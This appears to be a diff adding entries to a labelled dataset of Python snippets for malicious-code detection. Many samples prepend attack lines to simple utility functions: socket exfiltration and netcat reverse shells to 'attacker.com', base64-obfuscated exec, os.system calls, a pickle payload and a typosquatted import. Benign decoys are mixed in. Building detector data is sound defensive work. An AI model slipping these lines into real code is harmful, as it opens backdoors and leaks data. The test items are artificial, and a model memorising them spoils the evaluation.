+ "attack_type": null + }, + { + "id": "fn_12b22b61", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7723d173", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0aae4ee9", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7edc655e", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_e22270f3", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_3e9c4b18", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_baa37d5c", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7c5f7cbc", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_166e149b", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_fb1b82db", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_9b0bd05f", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_45b483d2", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_f5b0457e", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_b6e8289d", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f2821eef", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_85e1f9d5", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_1ce7efc6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_526954ec", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6d58d85b", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_dfabb335", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_fa1e5108", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_7048d8e7", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_07053282", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_c67b30a7", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_203020c7", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_db735ae2", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_0532ec3d", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_15eec2ad", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_076f44fd", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_4283a795", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_abb781b0", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6706f501", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_90a90685", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_e004d38d", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_aeba50cd", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_0df21924", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_538e64ea", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c959fba8", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_6b9a0047", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_91593076", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_db967977", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_df3b8631", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_3f2eaecb", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2f9b4c8d", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_87c7f5d1", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f03d3c44", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_fa2b0e01", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_76a15edf", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_87c4d2e3", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_8c90a13c", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_27fd3e7a", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_70318555", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": 